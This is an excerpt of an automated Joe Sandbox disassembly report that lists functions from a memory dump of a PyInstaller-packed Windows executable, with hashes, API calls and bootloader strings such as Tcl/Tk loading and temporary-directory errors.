Instruction ID: 36823ead392e2f471425f545d0686ba3b63511b10ce732629063efbe176b1e5c
Opcode Fuzzy Hash: 3b4b82ba6feb1f2c625fcdd7b78fc6310e7e433b3778e25011fb45a65c2c329c
Instruction Fuzzy Hash: 6031C432B08B4142F7B49F2A68401BE6694EF85BD8F184278FA9D93B96DF7CD4119304

Function 00007FF692A0A780 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e5edaf8da66d94c9ca9aff6d9c04a456296df9a737362746998e6ef114c740
Instruction ID: fbc0de5dc0bead22b574866cf0431df84b93210ff43901de13aeda3ec1551656
Opcode Fuzzy Hash: 00e5edaf8da66d94c9ca9aff6d9c04a456296df9a737362746998e6ef114c740
Instruction Fuzzy Hash: C8F06DB27251958AE7A8CF19A85352977E0F7083C4F9090B9D58DC3B04DABCD0518F04

Function 00007FF6929EC840 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92d020b70be0a3987cc02b3edb33e09e79c2d1aa04247a81d94d631aa8b8d9b
Instruction ID: cc90c77ba9cc7065251e20d021b1f2925ebc60b81530d7f4a5a4f8240fc5d588
Opcode Fuzzy Hash: c92d020b70be0a3987cc02b3edb33e09e79c2d1aa04247a81d94d631aa8b8d9b
Instruction Fuzzy Hash: 21A00132948C02D0F664AB01AA54130A770FB59308B4000B5D06D810A2AFACE4008240

Function 00007FF6929E6B10 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6929E6B27
GetLastError.KERNEL32 ref: 00007FF6929E6B39
GetProcAddress.KERNEL32 ref: 00007FF6929E6B75
GetLastError.KERNEL32 ref: 00007FF6929E6B87
GetProcAddress.KERNEL32 ref: 00007FF6929E6BA0
GetLastError.KERNEL32 ref: 00007FF6929E6BB2
GetProcAddress.KERNEL32 ref: 00007FF6929E6BCB
GetLastError.KERNEL32 ref: 00007FF6929E6BDD
GetProcAddress.KERNEL32 ref: 00007FF6929E6BF9
GetLastError.KERNEL32 ref: 00007FF6929E6C0B
GetProcAddress.KERNEL32 ref: 00007FF6929E6C27
GetLastError.KERNEL32 ref: 00007FF6929E6C39
GetProcAddress.KERNEL32 ref: 00007FF6929E6C55
GetLastError.KERNEL32 ref: 00007FF6929E6C67
GetProcAddress.KERNEL32 ref: 00007FF6929E6C83
GetLastError.KERNEL32 ref: 00007FF6929E6C95
GetProcAddress.KERNEL32 ref: 00007FF6929E6CB1
GetLastError.KERNEL32 ref: 00007FF6929E6CC3

Strings

Tcl_Free, xrefs: 00007FF6929E709B, 00007FF6929E70BD
Tcl_FindExecutable, xrefs: 00007FF6929E6B96, 00007FF6929E6BB8
Tcl_EvalEx, xrefs: 00007FF6929E7011, 00007FF6929E7033
Tcl_GetObjResult, xrefs: 00007FF6929E6FB5, 00007FF6929E6FD7
Failed to get address for %hs, xrefs: 00007FF6929E6B48
Tk_Init, xrefs: 00007FF6929E70C9, 00007FF6929E70EB
Tcl_FinalizeThread, xrefs: 00007FF6929E6C1D, 00007FF6929E6C3F
Tcl_CreateInterp, xrefs: 00007FF6929E6B6B, 00007FF6929E6B8D
Tcl_MutexLock, xrefs: 00007FF6929E6D03, 00007FF6929E6D25
Tcl_ThreadAlert, xrefs: 00007FF6929E6E45, 00007FF6929E6E67
Tcl_NewStringObj, xrefs: 00007FF6929E6F2B, 00007FF6929E6F4D
Tcl_DoOneEvent, xrefs: 00007FF6929E6BC1, 00007FF6929E6BE3
Tcl_Init, xrefs: 00007FF6929E6B20, 00007FF6929E6B3F
Tcl_DeleteInterp, xrefs: 00007FF6929E6C4B, 00007FF6929E6C6D
Tcl_ConditionFinalize, xrefs: 00007FF6929E6D8D, 00007FF6929E6DAF
Tcl_ThreadQueueEvent, xrefs: 00007FF6929E6E17, 00007FF6929E6E39
Tcl_Alloc, xrefs: 00007FF6929E706D, 00007FF6929E708F
Tcl_CreateThread, xrefs: 00007FF6929E6C79, 00007FF6929E6C9B
Tcl_NewByteArrayObj, xrefs: 00007FF6929E6F59, 00007FF6929E6F7B
Tcl_EvalObjv, xrefs: 00007FF6929E703F, 00007FF6929E7061
Tcl_SetVar2, xrefs: 00007FF6929E6EA1, 00007FF6929E6EC3
Tcl_JoinThread, xrefs: 00007FF6929E6CD5, 00007FF6929E6CF7
Tcl_GetVar2, xrefs: 00007FF6929E6E73, 00007FF6929E6E95
Tcl_ConditionNotify, xrefs: 00007FF6929E6DBB, 00007FF6929E6DDD
Tcl_EvalFile, xrefs: 00007FF6929E6FE3, 00007FF6929E7005
Tcl_GetString, xrefs: 00007FF6929E6EFD, 00007FF6929E6F1F
Tcl_SetVar2Ex, xrefs: 00007FF6929E6F87, 00007FF6929E6FA9
Tcl_MutexFinalize, xrefs: 00007FF6929E6D5F, 00007FF6929E6D81
Tcl_MutexUnlock, xrefs: 00007FF6929E6D31, 00007FF6929E6D53
Tcl_ConditionWait, xrefs: 00007FF6929E6DE9, 00007FF6929E6E0B
Tcl_GetCurrentThread, xrefs: 00007FF6929E6CA7, 00007FF6929E6CC9
Tcl_Finalize, xrefs: 00007FF6929E6BEF, 00007FF6929E6C11
GetProcAddress, xrefs: 00007FF6929E6B4F
Tcl_CreateObjCommand, xrefs: 00007FF6929E6ECF, 00007FF6929E6EF1
Tk_GetNumMainWindows, xrefs: 00007FF6929E70F7, 00007FF6929E7119

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 3bd3e37efd012c8e2e3270f1ddacdcfc1e24b7bb52a0dbabcea0a7cbd221c97c
Instruction ID: 3cc01fabb5f02b4034ebb23ce1e9145323fb76d738cfce62998f01778a394638
Opcode Fuzzy Hash: 3bd3e37efd012c8e2e3270f1ddacdcfc1e24b7bb52a0dbabcea0a7cbd221c97c
Instruction Fuzzy Hash: 1002916698DF0791FB34AF26B8545B423A4FF0A75DB8440F6D80EC6265EFBCA54A8201

Function 00007FF6929E7620 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF6929E7B07,FFFFFFFF,00000000,?,00007FF6929E3101), ref: 00007FF6929E767C

Strings

LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6929E7653
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6929E77C3
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6929E7690
%.*s, xrefs: 00007FF6929E775C
CreateDirectory, xrefs: 00007FF6929E77CC
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6929E7729
\, xrefs: 00007FF6929E76B1
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6929E76ED

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 2001182103-930877121
Opcode ID: 8054c3c0650854d0b40b7a035891c415250060ac884c921d421b6e0c89ed4a50
Instruction ID: ead694b37617358fd2e6ff7d2c4f88bbb8ce17546c9359a54c7df585e0680b70
Opcode Fuzzy Hash: 8054c3c0650854d0b40b7a035891c415250060ac884c921d421b6e0c89ed4a50
Instruction Fuzzy Hash: 96519932A2C64291FB70AB26E8556FA2351FF4478CF4444B6D90EC2697EFBCE504C741

Function 00007FF6929E7510 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6929E754F
GetWindowLongPtrW.USER32 ref: 00007FF6929E75CF
ShutdownBlockReasonCreate.USER32 ref: 00007FF6929E75E2
GetLastError.KERNEL32 ref: 00007FF6929E75EC
SetWindowLongPtrW.USER32 ref: 00007FF6929E7603

Strings

Needs to remove its temporary files., xrefs: 00007FF6929E75D5

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 11bce47d0d0e64839e27bb7d3290e638deefce497560f6bcecbf4d4959fd4dcd
Instruction ID: c9c5aac82dec51caa2839224f6e39cada586124c0d326a5c7e648cd1707f4e1b
Opcode Fuzzy Hash: 11bce47d0d0e64839e27bb7d3290e638deefce497560f6bcecbf4d4959fd4dcd
Instruction Fuzzy Hash: 0421A773B48E4282F765AB7AA8481796350FF89B98F1841B0DE1EC73D5DFACD584C201

Function 00007FF6929F71F0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7233
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7620
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F78BC

Strings

f, xrefs: 00007FF6929F7355
-, xrefs: 00007FF6929F72C9
p, xrefs: 00007FF6929F72E5
p, xrefs: 00007FF6929F735D
:, xrefs: 00007FF6929F73EC

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 65d4a0ffdc8e7253b8e60b637b85ac8f97459ea152ba9c8238927d2e88e0f15e
Instruction ID: 9a6eadcb6ae093eb712ad625f0c138b6965f36e8c25fd91f87f95c62306f9ca5
Opcode Fuzzy Hash: 65d4a0ffdc8e7253b8e60b637b85ac8f97459ea152ba9c8238927d2e88e0f15e
Instruction Fuzzy Hash: 4612B162E0C24386FBB49A16E0446FB7792FB40758F944575F689866C6DFBCEC80EB10

Function 00007FF6929F0540 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0580
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0948
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0BE7

Strings

p, xrefs: 00007FF6929F0625
f, xrefs: 00007FF6929F0682
f, xrefs: 00007FF6929F07CD
f, xrefs: 00007FF6929F0618
p, xrefs: 00007FF6929F068A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: fc8e2330ab6ced16bd3d959f6bc8057a9fc686b659d09149717256120edd57c1
Instruction ID: b3b56afbaffe4d39f8953bb67af4295e7260b8cbd91440cfad5d1c89ba863d21
Opcode Fuzzy Hash: fc8e2330ab6ced16bd3d959f6bc8057a9fc686b659d09149717256120edd57c1
Instruction Fuzzy Hash: CD12B122A0E14386FBB05F16E0546FB7759FB40758F944175F689866CAEFBDEC80AB00

Function 00007FF6929E1030 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6929E10E8
malloc, xrefs: 00007FF6929E10EF
fseek, xrefs: 00007FF6929E10B3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E10AC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E11D6
fread, xrefs: 00007FF6929E11DD
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E1078

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: f268ada22b501d0840cb4c96651475aae54c2916a06eaca8493c881ecdfe40dd
Instruction ID: 50a676dde04b5887f9b674234a670e2b36923f38d069af54a4e8ca91323dfbcd
Opcode Fuzzy Hash: f268ada22b501d0840cb4c96651475aae54c2916a06eaca8493c881ecdfe40dd
Instruction Fuzzy Hash: 26416D32B0865292FB20EB1398446BA6391FF55BCCF9484B2ED0D87797DEBCE9058740

Function 00007FF6929E1450 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6929E14F8
malloc, xrefs: 00007FF6929E14FF
fseek, xrefs: 00007FF6929E14C5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E14BE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E15BF
fread, xrefs: 00007FF6929E15C6
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E147F

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: cd92dffc3015cd073895a971eb11ea5dcbbe3f44b9d6087702f9868fe547bd1b
Instruction ID: 86f2ed6fcf72c0ef6841112e0a0cef47d8776b2992a60b44913edb03e72a2046
Opcode Fuzzy Hash: cd92dffc3015cd073895a971eb11ea5dcbbe3f44b9d6087702f9868fe547bd1b
Instruction Fuzzy Hash: B6415F32A0864296FB20EB2294415F96391FF5979CF8444B2ED4D87B9BDEBCE905C704

Function 00007FF6929EDF38 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6929EDF95

Part of subcall function 00007FF6929EEEEC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6929EEF2F
Part of subcall function 00007FF6929EEEEC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6929EEF54

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6929EE06D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6929EE2BB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6929EE3C8

Strings

csm, xrefs: 00007FF6929EDFAF
csm, xrefs: 00007FF6929EE090
csm, xrefs: 00007FF6929EE016

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: a729206dc09f3ae888f69fb8db1d25833570b00ee2d7cb806a54919031002ad3
Instruction ID: cc2fc03479b4a90c683319c034471e47926c3c99b12d04323d71e2cffa7b18f0
Opcode Fuzzy Hash: a729206dc09f3ae888f69fb8db1d25833570b00ee2d7cb806a54919031002ad3
Instruction Fuzzy Hash: 4DD16A32A086418AFB309F66A4403BD77A4FB557ACF140175EE8D97B96DF78E581C700

Function 00007FF6929E2310 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 99windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

Strings

%ls, xrefs: 00007FF6929E2448
<FormatMessageW failed.>, xrefs: 00007FF6929E2427
[PYI-%d:ERROR] , xrefs: 00007FF6929E2368
%ls: , xrefs: 00007FF6929E23D9

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentFormatMessageProcess
String ID: %ls$%ls: $<FormatMessageW failed.>$[PYI-%d:ERROR]
API String ID: 27993502-4247535189
Opcode ID: 5c54806743b5fc5ca5748e300e790daf69093409d5698ed67d8ea85ca9e7f6b1
Instruction ID: b87a1d6a80113459493ab93a92d4b51934ab86ae1d74b4bcf0ec2e2d21806f98
Opcode Fuzzy Hash: 5c54806743b5fc5ca5748e300e790daf69093409d5698ed67d8ea85ca9e7f6b1
Instruction Fuzzy Hash: 6D319E73B08A4141F730AB26A8106FA63A5FF85B9DF400176EE4DD7A5ADE7CE546C700

Function 00007FF6929ED1F8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED27D
GetLastError.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED28B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED2B5
FreeLibrary.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED323
GetProcAddress.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED32F

Strings

api-ms-, xrefs: 00007FF6929ED29D

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: cfe7c3e8e36681254bad5299873ee692e307dc20b52bfdb0e9be079fe62a9b1d
Instruction ID: 9f817b6a5810d4c128bae9e6fd3466cdea3ccfb58ddef0a0fecdf953c8a1a92c
Opcode Fuzzy Hash: cfe7c3e8e36681254bad5299873ee692e307dc20b52bfdb0e9be079fe62a9b1d
Instruction Fuzzy Hash: E731E432B0AA4284FE32AB43A80067923D8FF49BA8F594575DD1DC7386DFBCE4458320

Function 00007FF6929E57B0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Failed to load Python DLL '%ls'., xrefs: 00007FF6929E58F7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6929E5857
ucrtbase.dll, xrefs: 00007FF6929E582D
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6929E58A6
LoadLibrary, xrefs: 00007FF6929E58FE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6929E5817

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
